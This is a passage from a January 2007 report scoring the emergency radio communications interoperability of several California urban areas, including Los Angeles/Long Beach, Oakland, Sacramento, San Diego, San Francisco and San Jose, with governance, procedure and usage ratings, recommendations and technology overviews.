interoperability funding strategy to include long-term (e.g., 3 to 5 years) funding sources Standard Operating Procedures (SOP): Advanced Implementation The LA/LB UA TICP published and formalized existing policies and procedures for shared channels and mutual aid that have been in place for a number of years, thereby providing a solid basis for implementing the SOPs across the area. Los Angeles ratified its TICP with signatures from all the local municipal (city and county) jurisdictions, and distributed the SOPs to all included agencies to demonstrate formal support for 15% 20% 20% 20% Urban/Metropolitan Area A-7 January 2007 Tactical Interoperable Communications Scorecards their use. Through the TICP validation exercise, the LA/LB UA has demonstrated successful incorporation of the SOPs, which are compliant with the National Incident Management System (NIMS), into first responder practices and procedures. For example, during the TICP validation exercise, the incident command structure was established and properly communicated to all participants. Additional steps, such as including a procedure in the TICP for the proper designation and announcement of the Communications Unit Leader during an incident, would support the continued implementation of NIMS/Incident Command System (ICS). Recommendation: • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Advanced Implementation The LA/LB UA first responders regularly and successfully use multiple types of interoperability equipment (e.g., shared channels, shared systems). While gateways are only needed on a monthly basis for real-world use, LA/LB officials indicated that they are tested two times a week to ensure familiarity with their use. The area showed proficiency in the use of all applicable equipment during their TICP exercise. For example, shared marine channels and the Long Beach shared system were effectively used during the TICP validation exercise and seven gateways were tested to show the extent of their capabilities. Additionally, state and federal agencies were included in the exercise to demonstrate the breadth of user familiarity on interoperability equipment across all levels of government. Recommendation: • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The LA/LB UA is served by a number of radio systems operating in various public safety frequency bands. Systems available include a countywide 800 megahertz system, an ultra high frequency (UHF) system operating in the public safety UHF and UHF-Television bands, a very high frequency (VHF) high-band system, and a VHF low-band system. The cities of Burbank, Culver City, and Glendale share a UHF, digital, Motorola SmartZone™ system, known as the Interagency Communications Interoperability System. The City of Long Beach also operates shared VHF and UHF systems for various departments within the city, including the Police, Fire, Public Works, and Health and Human Services departments. In addition to these shared systems, interoperability is available through the use of shared channels, radio caches, and gateways. The fixed gateway is located and managed at the Sheriff’s Communications Center (SCC) in Los Angeles. The CHP and the City of Long Beach have console patching capabilities. Additionally, there are nine mobile gateways available in the area. The LA Regional Tactical Communications System (LARTCS), located at and managed by the SCC, is the major fixed gateway serving the area. LARTCS plans to design and procure an expanded multiband mutual aid communications system that provides coverage throughout Los Angeles County, including the surrounding national forests. The Regional Interoperability Steering Committee is planning the construction of a shared P25 UHF trunked radio system covering the UA. The implementation of a shared UHF P25-compliant system would allow the use of multiple vendors. Urban/Metropolitan Area A-8 January 2007 Tactical Interoperable Communications Scorecards Los Angeles, CA Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Advanced Implementation Usage: Advanced Implementation The Los Angeles (LA)/Long Beach (LB) Urban Area (UA) is a combination of two formerly separate areas—the LA UA and LB UA. The newly combined UA includes the cities of Bellflower, Beverly Hills, Carson, Compton, Culver City, Glendale, Hawaiian Gardens, Hawthorne, Inglewood, Lakewood, Long Beach, Los Angeles, Monterey Park, Paramount, Pasadena, San Fernando, Santa Monica, Signal Hill, South Pasadena, Torrance, Vernon, and West Hollywood, and portions of incorporated and unincorporated Los Angeles County. Governance: Established Implementation 15% 20% 20% 20% Governance organizations for regional communications in the LA/LB UA have supported the implementation of regional communications interoperability equipment and infrastructure in recent years. The LA/LB UA Working Group developed the Tactical Interoperable Communications Plan (TICP) as one of its first combined efforts. The LA/LB UA has demonstrated leadership through a history of successful cooperation in building and funding shared communications systems and interoperability solutions across the area. Published and active agreements in the LA/LB UA effectively facilitate communications interoperability among all regional first responder agencies. Although the UA is not yet, in its entirety, involved in strategic planning for communications interoperability goals, the UA leadership is actively planning new solutions (e.g., Project 25 [P25] system) that will expand the interoperable communications capabilities to other parts of the area. Despite the good cooperation in the area, jurisdictions perform budgeting individually (with the exception of grants), and there is no specific regionwide plan for long-term communications interoperability funding. There is also no single, well-established governance body or decision-making group that actively seeks out input from all the LA/LB UA public safety organizations. Recommendations: • Work to form one governance body that has formal authority over the newly formed combined UA, which should include input beyond county and local first responder organizations. This governance body should include state agencies, such as California Department of Transportation, California Department of Forestry and Fire Protection, and the California Highway Patrol (CHP), other transportation agencies, utilities, and appropriate federal agencies • Continue to document and adopt a regional strategic planning process beyond the operational focus of the TICP • Continue to establish a regional interoperability funding strategy to include long-term (e.g., 3 to 5 years) funding sources Standard Operating Procedures (SOP): Advanced Implementation The LA/LB UA TICP published and formalized existing policies and procedures for shared channels and mutual aid that have been in place for a number of years, thereby providing a solid basis for implementing the SOPs across the area. Los Angeles ratified its TICP with signatures from all the local municipal (city and county) jurisdictions, and distributed the SOPs to all included agencies to demonstrate formal support for 15% 20% 20% 20% Urban/Metropolitan Area A-9 January 2007 Tactical Interoperable Communications Scorecards their use. Through the TICP validation exercise, the LA/LB UA has demonstrated successful incorporation of the SOPs, which are compliant with the National Incident Management System (NIMS), into first responder practices and procedures. For example, during the TICP validation exercise, the incident command structure was established and properly communicated to all participants. Additional steps, such as including a procedure in the TICP for the proper designation and announcement of the Communications Unit Leader during an incident, would support the continued implementation of NIMS/Incident Command System (ICS). Recommendation: • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Advanced Implementation The LA/LB UA first responders regularly and successfully use multiple types of interoperability equipment (e.g., shared channels, shared systems). While gateways are only needed on a monthly basis for real-world use, LA/LB officials indicated that they are tested two times a week to ensure familiarity with their use. The area showed proficiency in the use of all applicable equipment during their TICP exercise. For example, shared marine channels and the Long Beach shared system were effectively used during the TICP validation exercise and seven gateways were tested to show the extent of their capabilities. Additionally, state and federal agencies were included in the exercise to demonstrate the breadth of user familiarity on interoperability equipment across all levels of government. Recommendation: • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The LA/LB UA is served by a number of radio systems operating in various public safety frequency bands. Systems available include a countywide 800 megahertz system, an ultra high frequency (UHF) system operating in the public safety UHF and UHF-Television bands, a very high frequency (VHF) high-band system, and a VHF low-band system. The cities of Burbank, Culver City, and Glendale share a UHF, digital, Motorola SmartZone™ system, known as the Interagency Communications Interoperability System. The City of Long Beach also operates shared VHF and UHF systems for various departments within the city, including the Police, Fire, Public Works, and Health and Human Services departments. In addition to these shared systems, interoperability is available through the use of shared channels, radio caches, and gateways. The fixed gateway is located and managed at the Sheriff’s Communications Center (SCC) in Los Angeles. The CHP and the City of Long Beach have console patching capabilities. Additionally, there are nine mobile gateways available in the area. The LA Regional Tactical Communications System (LARTCS), located at and managed by the SCC, is the major fixed gateway serving the area. LARTCS plans to design and procure an expanded multiband mutual aid communications system that provides coverage throughout Los Angeles County, including the surrounding national forests. The Regional Interoperability Steering Committee is planning the construction of a shared P25 UHF trunked radio system covering the UA. The implementation of a shared UHF P25-compliant system would allow the use of multiple vendors. Urban/Metropolitan Area A-10 January 2007 Tactical Interoperable Communications Scorecards Oakland, CA Tactical Interoperable Communications Scorecard Summ Summ Summ Summary ary ary ary Governance: Intermediate Implementation Standard Operating Procedures: Advanced Implementation Usage: Advanced Implementation The Oakland Urban Area (UA) includes the City of Oakland, Alameda County, and Contra Costa County. Governance: Intermediate Implementation 10% 10%15% 15% The Interoperable Communications Project Group (ICPG) began meeting in 2003 and oversaw the Tactical Interoperable Communications Plan (TICP) development. As identified in the documentation, it does not appear that the group is formalized, and as noted by TICP peer reviewers, the UA should further “explain governing responsibilities and relation to the Urban Area Working Group (UAWG)” to clarify how the organizations work together. The Oakland area has completed strategic planning efforts; however, a formal plan has not yet been adopted by the included agencies. This strategy, as it gets adopted, can also support the prioritization of goals so that funding can be planned accordingly. With most project funding supported through annual federal grants, long-term funding was indicated by the UA as a concern. With respect to the federal grants, it does appear that the agencies give consideration to regional interoperable communications while procuring equipment. Although the local leadership is strong (demonstrated by involvement from local mayors and other executives), there are regional leadership differences (across the multiple jurisdictions) that may slow progress toward interoperability across the UA as a whole. Recommendations: • Identify and document the roles, responsibilities, and relationships within the decision-making group (e.g., ICPG membership, relationship to UAWG) • Continue to develop, document, and formalize agreements (e.g., signed memoranda of understanding [MOU] with defined roles and responsibilities) among all participating agencies to support partnerships on regional interoperability • Reference all applicable agreements (e.g., MOUs, intergovernmental agreements) in the TICP and store them in an accessible format • Continue to establish a regular review process to ensure that agreements remain current and relevant • Adopt and implement the regional strategic plan • Continue to align regional and state strategic planning efforts to ensure that regional interoperability needs are met • Continue to develop and implement a regional approach to budgeting and procuring regional communications interoperability assets • Continue to develop and implement a regional approach to long-term (e.g., 3 to 5 years) sustainable funding that is consistent with the strategic plan • Encourage broader involvement by senior government leadership on interoperability funding and procurement plans Standard Operating Procedures (SOP): Advanced Implementation The Oakland TICP is based on existing policies and procedures. Since these SOPs were already well established and used frequently, the public safety agencies in the UA were well positioned to adopt the TICP. 10% 10%15% 15% Urban/Metropolitan Area A-11 January 2007 Tactical Interoperable Communications Scorecards The UA has taken a number of steps to disseminate and train on the SOPs among the participating organizations. According to the Exercise Evaluation Guide, despite a minor issue with naming conventions on shared channels, the UA was largely successful in the use of its documented procedures. National Incident Management System (NIMS)/Incident Command System (ICS) has been used throughout the UA for more than a year, with countywide training ongoing. This is consistent with a state mandate for NIMS compliance. The exercise evaluation indicated that “members of the Unified Command staff worked together very effectively.” The Communications Unit Leader was likewise praised for decisions in allocating communications resources during the exercise. Recommendations: • Consider scheduling a regular review and update process of developed policies and procedures • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Advanced Implementation The UA frequently uses its available means of interoperable communications (e.g., radio cache, gateways, shared channels, and shared systems). Additionally, officials in the area report proficiency during real-world events (e.g., football games) where radio caches and gateways are used to provide communications to local, state, and federal agencies. During the TICP validation exercise, the participants were able to establish interoperable communications despite some minimal technical difficulty (e.g., no roll call taken for gateways and shared systems). The exercise was noteworthy for its complexity and the test it provided among local, state, and federal agencies in the area. Recommendation: • Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day activities Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The City of Oakland has two ACU-1000 gateways, and the County of Alameda has four deployable Infinimux G4 gateway devices. Currently, interoperability is achieved by using the gateways, shared proprietary radio systems, and National Public Safety Planning Advisory Committee (NPSPAC) channels for mutual aid. The surrounding County of Alameda has a Motorola, 800 megahertz, trunked, communications system. The adjacent County of Contra Costa and several other adjacent localities field conventional very high frequency and ultra high frequency communications systems. The UA is planning for a new communications system that will be a shared, Project 25 (P25) standard radio system and encompass the two-county area to create a regional communications system. Regional agencies will become part of the shared P25 radio system and will be given subscriber units to use NPSPAC frequencies for mutual aid. In addition, a networked gateway system will be installed to assure operable communications during the migration of the new P25 system; allowing a gateway to outside agencies that are not P25 capable. Urban/Metropolitan Area A-12 January 2007 Tactical Interoperable Communications Scorecards Sacramento, CA Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation The Sacramento Urban Area (UA) includes Sacramento County and the cities of Citrus Heights, Elk Grove, Folsom, Rancho Cordova, Rocklin and Roseville (both located in Placer County), Sacramento, and West Sacramento (both located in Yolo County). Governance: Established Implementation 15% 20% 20% 20% The Sacramento UA has two committees in place that coordinate interoperability issues; the Urban Area Security Initiative (UASI) communications group is focused on governance, and the Sacramento Regional Radio Communications System (SRRCS) committee is a technical group focused on the development and oversight of the area’s shared system. SRRCS has been in place since 1992, and the group meets on a weekly basis. Formalized contracts and memoranda of understanding (MOU) are in place for participating local agencies, as well as selected state and federal agencies (e.g., Federal Bureau of Investigation, U.S. Marshals Service, U.S. Coast Guard). Although a strategic planning process is in place, it is not clear whether this long-standing process has developed a documented, formal, regional strategic plan. This strategic planning process could provide a method to improve cooperation with California Highway Patrol (CHP), California Statewide Interoperability Executive Committee, and other public safety organizations. Local political leaders have provided policy and fiscal support, and funding is being provided based on regional needs through grants as well as user fees. Recommendations: • Encourage additional regional, state, and federal agency participation (e.g., CHP and California Division of Forestry) to participate in the decision-making group • Continue to formalize agreements (e.g., MOUs) with needed participants, including additional state and federal organizations • Continue to document and implement the regional strategic plan (beyond the operational focus of the Tactical Interoperable Communications Plan [TICP]), with participant approval, adoption, and acceptance • Continue to align local and statewide strategic planning efforts to ensure that regional interoperability needs are met • Incorporate the regional interoperability funding strategy into the strategic plan, and consider funding models that can leverage local, regional, and statewide strategic planning efforts Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Sacramento UA has had formal, region wide SOPs through its SRRCS structure, which has been in place since 1996. The TICP is based on these previously developed policies and has been distributed to all included agencies. Additional steps, such as storing applicable SOPs with radio caches and gateways, would support the continued dissemination and implementation of these policies. Sacramento officials indicated that there has been success in the regular use of these policies and procedures. However, officials also indicated that interoperability training had been difficult to implement, and a more regular communications 15% 20% 20% 20% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area A-13 January 2007 Tactical Interoperable Communications Scorecards training program was desired. The Sacramento UA is in the process of implementing the National Incident Management System (NIMS)/Incident Command System (ICS), and training was ongoing. As noted in the After Action Report, while some gaps were identified in overall command and control (e.g., Incident Commander did not initially incorporate the fire command within the unified command structure and did not efficiently delegate responsibilities to appropriate responders), the certified Communications Unit Leader showed proficiency during the TICP validation exercise. Recommendation: • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The Sacramento UA primarily uses its 800 megahertz (MHz) shared system, as well as monthly use of the Folsom gateway and periodic use of radio caches (primarily for planned events). In the TICP validation exercise, the UA successfully used state mutual aid channels and tied these channels to the SRRCS shared system using a gateway device. The Sacramento UA involved all first responders in the exercise and should build up this success by further incorporating state, federal, and support agencies in its TICP and future exercises. The addition of these outside agencies would facilitate improved cooperation and ensure that implementing interoperability beyond the use of the SRRCS is regularly practiced. The Sacramento UA seamlessly used its shared system, as recently demonstrated when public safety agencies responded to the wounding of an officer who was conducting a traffic stop operation in a remote area. Recommendations: • Continue to regularly test and exercise the deployment of regional communications interoperability resources to improve proficiency and familiarity of use • Broaden state and federal agency involvement in training and exercises to facilitate interagency cooperation • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview In 1995, the Sacramento UA implemented an 800 MHz trunked radio system to serve most of the local government and public safety jurisdictions. This radio communications system is known as the SRRCS. It consists of 2 Motorola SmartNet™ simulcast systems with a total of 49 frequency pairs. There are six fixed sites throughout Sacramento County. The Sacramento UA is working toward upgrading this system to become fully compliant with Project 25 standards. Currently, however, the SRRCS is being upgraded to a Motorola SmartZone™ 4.1, funded by the UASI grant program. Urban/Metropolitan Area A-14 January 2007 Tactical Interoperable Communications Scorecards San Diego, CA Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Advanced Implementation Standard Operating Procedures: Advanced Implementation Usage: Advanced Implementation The San Diego Urban Area (UA) includes the City of San Diego and counties of San Diego and Imperial. Governance: Advanced Implementation The Tactical Interoperable Communications Plan (TICP) Peer Review stated that “[t]his was one of the most thorough, well planned TICPs reviewed and reflects an earnest effort by many of the people who have a vested interest and can be viewed as a model.” The San Diego UA established strategic communications interoperability planning as a priority over a decade ago. This long-term success and collaboration in the UA points to significant support from executive leadership in the UA. While the TICP seems well-established, organizing all agreements (e.g., memoranda of understanding [MOU]) in an accessible format would support continued coordination among participating agencies. The established partnership between San Diego law enforcement and the Department of Justice (DoJ) Integrated Wireless Network (IWN) is commendable, and should be considered a best practice. The San Diego UA should continue to reach out to organizations (e.g., utilities) not specifically involved in the decision-making group. The San Diego UA has budget plans for system upgrades, as well as operations and maintenance, but it is unclear how many years out funding is allocated. Recommendations: • Recommend working toward the establishment of a regional MOU for interoperability (if a regional MOU is not already in place), and reference all applicable agreements in the TICP and store them in an accessible format • Continue to identify long-term (e.g., 3 to 5 years) communications interoperability funding sources Standard Operating Procedures (SOP): Advanced Implementation San Diego officials indicated that 90 percent of the TICP was based on previous policies, and these SOPs are well documented in their TICP. Exercise evaluators observed responder operation of communications systems, which demonstrated the effective use of policies, practices, and procedures. Evaluators also noted that these SOPs “within the San Diego UA are effective in providing for tactical interoperable communications among local responders” during real-world incidents. Additional steps, such as disseminating, formalizing, and training on these tactical policies, would support the widespread and consistent use of the SOPs . The National Incident Management System (NIMS)/ Incident Command System (ICS) has been implemented for more than 1 year, and the certified Communications Unit Leader showed proficiency during the TICP validation exercise. Recommendations: • Continue to conduct training so that SOPs remain entrenched in operations • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Urban/Metropolitan Area A-15 January 2007 Tactical Interoperable Communications Scorecards Usage: Advanced Implementation The San Diego UA uses its shared system on a daily basis for multi-agency, multidiscipline responses. Use of this shared system provides a means of interoperability to most users in the UA. Repeated multijurisdictional responses to wild land fires have led to ongoing improvements in the usage of interoperable communications equipment. The UA showed proficiency in the use of radio caches and the shared system to provide seamless communications during the TICP validation exercise. In addition, exercise participants were able to demonstrate familiarity and effective use of gateways and shared channels. The San Diego UA has established a partnership with the University of California, San Diego to prototype a regionwide, public safety wireless data network - High Performance Wireless Research and Education, which is commendable and should be considered a best practice. Recommendation: • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The San Diego UA’s Regional Communications System is a large 800 megahertz (MHz), trunked system that spans two counties. It supports the majority of the area’s users. The City of San Diego also operates an 800 MHz, trunked system. Both of these systems support shared talk groups for mutual aid with large contingents of federal users operating in the very high frequency band. There are also mobile gateways and console patches available for interoperability among federal and local first responders. Both the city and county of San Diego are upgrading their respective proprietary, trunked systems to the same version for improved interoperability. Both jurisdictions are interested in future migration to the Project 25 standard, but the costs to do so have been prohibitive thus far. The area is also working toward installing a wide-area digital, microwave backbone to provide a dedicated, high-speed link for data sharing and collaboration. Public safety administrators, elected officials, and the San Diego Association of Governments, in collaboration with San Diego State University, have been actively working to develop a regional technology framework. The expected governance agreement will effectively establish a Regional Authority whose goals will include developing long-term priorities for the funding of technology projects and a “Clearinghouse” process for the review of technology grant requests to ensure that the requests are in the best long-term interests of regional public safety and that they are coordinated to avoid duplicate grant requests. Urban/Metropolitan Area A-16 January 2007 Tactical Interoperable Communications Scorecards San Francisco, CA Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Intermediate Implementation Usage: Established Implementation The San Francisco Urban Area (UA) includes the City of San Francisco, San Francisco County, and mutual aid partners (Marin and San Mateo counties). Governance: Intermediate Implementation 10% 10%15% 15% The San Francisco Urban Area Security Initiative (UASI) has an ad-hoc Communications Advisory subcommittee, established in 2006, that includes some local, state, and federal agencies (e.g., public health, state police, U.S. Coast Guard [USCG]). From the documentation, the decision-making group responsible for the regional interoperable communications is not clearly designated (e.g., Communications Advisory Committee, Technical Working Group, Communications Working Group). There are some formal agreements (e.g., Golden Gate Incident Action Plan) and a mix of formal and informal partnerships among agencies in the UA. The continued development of documented agreements would support the formalization of these partnerships to ensure clear roles and responsibilities relating to communications interoperability issues and decisions. The area is beginning to develop a strategic plan for regional interoperable communications that includes additional agencies in the area. This strategy, as it gets adopted, can also support the prioritization of goals so that funding can be planned accordingly. Through federal grant funds, the organizations within the San Francisco UA give some consideration to interoperable communications when procuring equipment and are working to develop a diversified and sustainable funding plan. The level of support from UA leadership for regionwide interoperability is growing, but continues to face the challenge of focusing on day-to-day, agency-specific communications needs. Recommendations: • Clarify the roles, responsibilities, and relationships of the governance groups (e.g., San Francisco UASI, Bay Area Super UASI Group, Communications Advisory Committee, Communications Working Group, Technical Working Group) identified in the Tactical Interoperable Communications Plan (TICP) • Establish Communications Working Group through a formal charter, include all local, public support, state, and federal agencies (e.g., USCG) and document roles and responsibilities as part of the group • Continue to develop, document, and formalize agreements (e.g., signed memoranda of understanding [MOU] with defined roles and responsibilities) among all participating agencies relating to regional interoperability • Reference all applicable agreements (e.g., MOUs, intergovernmental agreements) in the TICP, store them in an accessible format and establish a regular review process so they remain current and relevant • Continue to develop, document, and implement a regional strategic plan (beyond the operational focus of the TICP) with participant approval, adoption, and acceptance, that takes into account a long-term (e.g., 3 to 5 years) funding strategy • Continue to align local and state strategic planning efforts to ensure that regional interoperability needs are met • Begin to broaden and champion a governance structure that will support regional communications interoperability, and involve senior regional government leadership on long-term funding plans Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The San Francisco UA TICP represents the first formal interoperable communications regional SOPs; however, the TICP takes into account various set of law enforcement SOPs and other informal procedures for interoperability as reported by area officials. Participation in the development of the plan was originally limited in the public safety agencies involved, and the area has acknowledged that, although they have helpd workshops, they need additional support to better disseminate the TICP to area agencies (e.g., distribute to all included agencies and dispatch centers). 10% 10%15% 15% 15% 20% 20% 20% 10% 10%15% 15% Urban/Metropolitan Area A-17 January 2007 Tactical Interoperable Communications Scorecards During the TICP validation exercise, participants experienced procedural difficulties (e.g., limited use of shared channels, gateway activation/deactivation problems, incorrect channel assignment) that highlight the need for increased training on the procedures for interoperability. Regarding command and control SOPs, the San Francisco UA began the process of implementing National Incident Management System (NIMS)/Incident Command System (ICS) less than 1 year ago, which implies that the UA is still in the earlier stages of implementing NIMS/ICS policies and procedures. During the exercise, participants demonstrated familiarity with these processes; however, they encountered some problems related to command and control (e.g., ICS Form 205 was not distributed; there was no clear delineation of unified command roles and responsibilities, incident command was established but not announced until a later time). The UA has prioritized the continued development and exercises of command and control SOPs, which shows their dedication to continued strengthening of their interoperable capabilities. Recommendations: • Develop regional communications interoperability SOPs (beyond the TICP) with participation by first responder agencies from across all applicable jurisdictions and disciplines • Distribute and put SOPs into practice through regular training, exercises, and usage (e.g., to address gateway activation issue) • Dispatchers should conduct drills on enabling, establishing, and disabling all methods for achieving interoperable communications • Consider scheduling a regular review and update process of developed policies and procedures • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance • Evaluate compliance with NIMS/ICS during all future exercises Usage: Established Implementation 15% 20% 20% 20% The San Francisco UA frequently uses its available means of interoperable communications (e.g., shared channels, gateways, and shared systems). During the TICP validation exercise, participants demonstrated familiarity with the interoperable communications equipment. However, there were some difficulties activating console patches. Despite the UA’s demonstrated successes, the TICP validation exercise was limited to local, regional, and minimal state participants. Assessing the degree to which the local agencies in the UA can easily use interoperable communications equipment with state and federal agencies was therefore not possible. While the exercise met the stated requirements, the area is encouraged to build on its success by further integrating state, federal, tribal, and support agencies in future tests. Recommendations: • Regularly test and exercise deployment of and procedures for regional interoperability resources (e.g., activation of console patches) to improve proficiency • Consider including additional state and federal agencies (e.g., Federal Bureau of Investigation, USCG) in future exercises and day-to-day use • Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day activities Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The UA uses an 800 megahertz trunked system that supports a majority of users in the area. Several shared channels are available as well, especially in the very high frequency band. The UA has a limited number of radio caches and gateways available for use. San Francisco is working with other UASI sites in the Bay Area to upgrade and integrate their respective microwave backbones. The connectivity will allow the different sites to integrate their systems for improved interoperability in the UA. Urban/Metropolitan Area A-18 January 2007 Tactical Interoperable Communications Scorecards San Jose, CA Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Advanced Implementation Standard Operating Procedures: Advanced Implementation Usage: Established Implementation The San Jose Urban Area (UA) includes the following cities and unincorporated areas: Campbell, Cupertino, Gilroy, Los Altos, Milpitas, Monte Sereno, Morgan Hill, Mountain View, Palo Alto, San Jose, Santa Clara, and Saratoga. Governance: Advanced Implementation The San Jose UA Security Initiative (UASI) Advisory Working Group works in conjunction with the Silicon Valley Regional Interoperability Project (SVRIP), which developed the Tactical Interoperable Communications Plan (TICP). The SVRIP includes local, state, and federal agencies (e.g., Pacific Gas and Electric, San Jose Mayor’s Office, California Highway Patrol, and Bureau of Alcohol, Tobacco, Firearms, and Explosives) and actively recruits new members. The area has formal agreements and partnerships among all public safety organizations in the area. The San Jose UASI Advisory Working Group’s Executive Steering Committee annually reviews its regional strategic plan for interoperable communications, and is working to create an expanded regional emergency communications plan that will include San Jose, Oakland, and San Francisco. In addition to federal funds, the San Jose UA uses local resources for lifecycle costs (e.g., communications equipment, operations and maintenance). Organizations within the area develop budgets and procure equipment according to the regional strategic goals. The senior level-leaders in the area serve as interoperability advocates and act to ensure continued political and fiscal support for the area. Recommendations: • Continue to align local, regional, and state strategic planning efforts to ensure that regional interoperability needs are met • Continue to development and implement a regional approach to long-term (e.g., 3 to 5 years) sustainable funding that is consistent with the strategic plan Standard Operating Procedures (SOP): Advanced Implementation The San Jose UA incorporated existing policies and procedures into the TICP (e.g., Santa Clara County Fire Mutual Aid, Bay Area Mutual Aid Channels policies). The area has taken steps to disseminate these policies and procedures to all participating organizations and also has plans to update the SOPs as pilot technologies (e.g., Voice over Internet Protocol [VoIP]) are implemented. The San Jose UA began implementing National Incident Management System (NIMS)/Incident Command System (ICS) more than 1 year ago, and policies include fire, law enforcement, emergency medical services, and public works organizations in the training. During the TICP validation exercise, participants demonstrated familiarity with NIMS/ICS, but experienced minimal difficulties (e.g., Unified Command established but not announced, Communications Unit Leader roles and responsibilities not clearly designated). As a best practice, the area should be commended for the development of the TICP training video and the formalized Action Plans for continued SOP training. 15% 20% 20% 20% Urban/Metropolitan Area A-19 January 2007 Tactical Interoperable Communications Scorecards Recommendations: • Ensure that TICP peer review recommendations are incorporated into the TICP (e.g., include Communications Coordinator instead of Regional Interoperability Coordinator [RIC]) • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance • Clarify the roles of the RIC and law enforcement mutual aid coordinator in accordance with the TICP validation Exercise Evaluation Guide recommendation Usage: Established Implementation 15% 20% 20% 20% The UA regularly uses the available means of interoperable communications (e.g., radio cache, gateways, and shared channels) during day-to-day, task force, and mutual aid incidents. Officials in the area report proficiency in real-world events (e.g., 2005 demonstration in Santa Clara and San Mateo counties). During the TICP validation exercise, the participants demonstrated familiarity with the equipment and successfully established interoperable communications. However, despite an overall successful exercise, there were difficulties. For example, a shared channel failed, and because there was no pre-published backup communications plan, the channel was assigned as a resource before it was repaired. Despite these challenges, the UA should be commended for its willingness to stress its communications systems and truly challenge its capabilities during a robust exercise. Recommendations: • Regularly test and exercise deployment of and procedures for regional interoperability resources (e.g., ICS Form 205 not distributed, radio cache not used) to improve proficiency • Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day activities Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview Currently, the agencies within the UA field a variety of communications systems, including ones that use the very high frequency, ultra high frequency, T-Band, and 800 megahertz bands. Interoperability is achieved through a system called Bay Area Mutual Aid Communications System (BayMACS). This system provides an area wide simulcast of all four frequency bands bridged together. The UA, through the SVRIP, has taken a short-term approach by developing a “roadmap to interoperability.” The roadmap takes a “system of systems” approach that includes a number of independent and interconnected interoperable communications solutions. These include: 1) adding additional channels to the BayMACS; 2) constructing a 19-site digital microwave system that will serve as backhaul for future interoperable communications; 3) interconnecting a Bay Area-wide digital microwave Emergency Communications system for regional interoperability; and 4) conducting a pilot demonstration project to interconnect three agencies’ disparate computer aided dispatch systems as part of a regional interoperability information broker system, using information sharing to augment voice interoperability. The UA has also developed a mid-term approach. A networked gateway system will be installed to allow for additional bridging of existing systems using VoIP. Long-range planning efforts include movement to a shared system. Urban/Metropolitan Area A-20 January 2007 Tactical Interoperable Communications Scorecards Santa Ana, CA (Combined with Anaheim, CA) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Advanced Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation The newly combined Orange County Urban Area (UA) includes the core cities of Anaheim and Santa Ana, 32 other Orange County cities, 2 state universities and the County of Orange. Governance: Advanced Implementation The Tactical Interoperable Communications Plan (TICP) was created under the authority of the Orange County Operational Area; previously established committees (e.g., 800 megahertz [MHz] Governance Committee, 800 MHz Technical Liaison Committee, Orange County Chiefs of Police and Sheriff’s Association, Orange County Fire Chief’s Association) are responsible for key decisions and recommendations relative to policy, training, exercises, compliance, establishment of special committees, and operational issues within the UA. The governance structure developed by the Orange County UA can serve as a model for other jurisdictions based on its breadth of local and state participation, frequency of meetings and reviews, and ability to address near-term needs and long-term interoperability goals. As documented in Section 2 of its TICP, there is a clear authority flow for interoperable communications decisions, which is inclusive of all local first responder organizations. The UA has proactively included multiple state and federal agencies in its interoperability solution through its Countywide Coordinated Communication System; however, the extent of the governance group’s formal interaction with federal agencies is not stated. Additionally, the Orange County UA has a regional interoperability strategic plan in place that has been accepted by all participating agencies, is reviewed annually, and can address funding if future interoperability enhancements are required. Recommendations: • Continue to seek formalized participation from and coordination with state and federal agencies in governance bodies • Continue to review and regularly update agreements (e.g., memoranda of understanding) to ensure appropriate agency participation • Continue to identify long-term (e.g., 3 to 5 years) funding sources to support interoperable communications Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The policies for use of the Orange County shared system are long established and were effectively documented in Section 3 of the TICP. SOPs have been disseminated to all included agencies and dispatch centers, and distributed through the TICP Implementation Workshop. The use of these system SOPs was well demonstrated during the TICP validation exercise. The exercise did show the need for further development of gateway SOPs. The UA indicated that it has been in the process of implementing the National Incident Management System (NIMS)/Incident 